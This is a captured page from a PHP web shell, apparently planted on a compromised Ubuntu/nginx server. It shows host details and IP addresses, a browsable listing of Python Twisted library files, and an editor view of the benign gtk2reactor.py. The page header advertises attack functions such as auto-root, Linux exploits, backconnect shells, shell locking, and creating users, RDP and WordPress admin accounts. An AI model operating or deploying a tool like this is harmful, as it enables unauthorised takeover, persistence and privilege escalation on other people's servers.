Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.2
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
twisted /
internet /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
iocpreactor
[ DIR ]
drwxr-xr-x
test
[ DIR ]
drwxr-xr-x
__init__.py
521
B
-rw-r--r--
_baseprocess.py
1.96
KB
-rw-r--r--
_dumbwin32proc.py
12.48
KB
-rw-r--r--
_glibbase.py
12.41
KB
-rw-r--r--
_idna.py
1.39
KB
-rw-r--r--
_newtls.py
8.94
KB
-rw-r--r--
_pollingfile.py
8.58
KB
-rw-r--r--
_posixserialport.py
2.03
KB
-rw-r--r--
_posixstdio.py
4.88
KB
-rw-r--r--
_producer_helpers.py
3.82
KB
-rw-r--r--
_resolver.py
8.27
KB
-rw-r--r--
_signals.py
2.61
KB
-rw-r--r--
_sslverify.py
71.09
KB
-rw-r--r--
_threadedselect.py
11.31
KB
-rw-r--r--
_win32serialport.py
4.8
KB
-rw-r--r--
_win32stdio.py
3.07
KB
-rw-r--r--
abstract.py
18.84
KB
-rw-r--r--
address.py
5.12
KB
-rw-r--r--
asyncioreactor.py
10.87
KB
-rw-r--r--
base.py
46.28
KB
-rw-r--r--
cfreactor.py
17.09
KB
-rw-r--r--
default.py
1.85
KB
-rw-r--r--
defer.py
83.65
KB
-rw-r--r--
endpoints.py
75.63
KB
-rw-r--r--
epollreactor.py
8.73
KB
-rw-r--r--
error.py
13.17
KB
-rw-r--r--
fdesc.py
3.16
KB
-rw-r--r--
gireactor.py
4.51
KB
-rw-r--r--
glib2reactor.py
1.09
KB
-rw-r--r--
gtk2reactor.py
3.55
KB
-rw-r--r--
gtk3reactor.py
1.49
KB
-rw-r--r--
inotify.py
14.06
KB
-rw-r--r--
interfaces.py
95.75
KB
-rw-r--r--
kqreactor.py
10.56
KB
-rw-r--r--
main.py
1006
B
-rw-r--r--
pollreactor.py
5.83
KB
-rw-r--r--
posixbase.py
26.96
KB
-rw-r--r--
process.py
37.61
KB
-rw-r--r--
protocol.py
26.75
KB
-rw-r--r--
pyuisupport.py
843
B
-rw-r--r--
reactor.py
1.77
KB
-rw-r--r--
selectreactor.py
5.96
KB
-rw-r--r--
serialport.py
2.22
KB
-rw-r--r--
ssl.py
8.44
KB
-rw-r--r--
stdio.py
1000
B
-rw-r--r--
task.py
32.82
KB
-rw-r--r--
tcp.py
53.69
KB
-rw-r--r--
testing.py
28.55
KB
-rw-r--r--
threads.py
3.72
KB
-rw-r--r--
tksupport.py
1.92
KB
-rw-r--r--
udp.py
18.18
KB
-rw-r--r--
unix.py
21.98
KB
-rw-r--r--
utils.py
8.48
KB
-rw-r--r--
win32eventreactor.py
14.91
KB
-rw-r--r--
wxreactor.py
5.19
KB
-rw-r--r--
wxsupport.py
1.27
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : gtk2reactor.py
# -*- test-case-name: twisted.internet.test -*- # Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ This module provides support for Twisted to interact with the glib/gtk2 mainloop. In order to use this support, simply do the following:: from twisted.internet import gtk2reactor gtk2reactor.install() Then use twisted.internet APIs as usual. The other methods here are not intended to be called directly. """ # System Imports import sys # Twisted Imports from twisted.internet import _glibbase from twisted.python import runtime # Certain old versions of pygtk and gi crash if imported at the same # time. This is a problem when running Twisted's unit tests, since they will # attempt to run both gtk2 and gtk3/gi tests. However, gireactor makes sure # that if we are in such an old version, and gireactor was imported, # gtk2reactor will not be importable. So we don't *need* to enforce that here # as well; whichever is imported first will still win. Moreover, additional # enforcement in this module is unnecessary in modern versions, and downright # problematic in certain versions where for some reason importing gtk also # imports some subset of gi. So we do nothing here, relying on gireactor to # prevent the crash. try: if not hasattr(sys, "frozen"): # Don't want to check this for py2exe import pygtk # type: ignore[import] pygtk.require("2.0") except (ImportError, AttributeError): pass # maybe we're using pygtk before this hack existed. import gobject # type: ignore[import] if hasattr(gobject, "threads_init"): # recent versions of python-gtk expose this. python-gtk=2.4.1 # (wrapping glib-2.4.7) does. python-gtk=2.0.0 (wrapping # glib-2.2.3) does not. gobject.threads_init() class Gtk2Reactor(_glibbase.GlibReactorBase): """ PyGTK+ 2 event loop reactor. """ _POLL_DISCONNECTED = gobject.IO_HUP | gobject.IO_ERR | gobject.IO_NVAL _POLL_IN = gobject.IO_IN _POLL_OUT = gobject.IO_OUT # glib's iochannel sources won't tell us about any events that we haven't # asked for, even if those events aren't sensible inputs to the poll() # call. INFLAGS = _POLL_IN | _POLL_DISCONNECTED OUTFLAGS = _POLL_OUT | _POLL_DISCONNECTED def __init__(self, useGtk=True): _gtk = None if useGtk is True: import gtk as _gtk # type: ignore[import] _glibbase.GlibReactorBase.__init__(self, gobject, _gtk, useGtk=useGtk) class PortableGtkReactor(_glibbase.PortableGlibReactorBase): """ Reactor that works on Windows. Sockets aren't supported by GTK+'s input_add on Win32. """ def __init__(self, useGtk=True): _gtk = None if useGtk is True: import gtk as _gtk _glibbase.PortableGlibReactorBase.__init__(self, gobject, _gtk, useGtk=useGtk) def install(useGtk=True): """ Configure the twisted mainloop to be run inside the gtk mainloop. @param useGtk: should glib rather than GTK+ event loop be used (this will be slightly faster but does not support GUI). """ reactor = Gtk2Reactor(useGtk) from twisted.internet.main import installReactor installReactor(reactor) return reactor def portableInstall(useGtk=True): """ Configure the twisted mainloop to be run inside the gtk mainloop. """ reactor = PortableGtkReactor() from twisted.internet.main import installReactor installReactor(reactor) return reactor if runtime.platform.getType() == "posix": install = install else: install = portableInstall __all__ = ["install"]
Close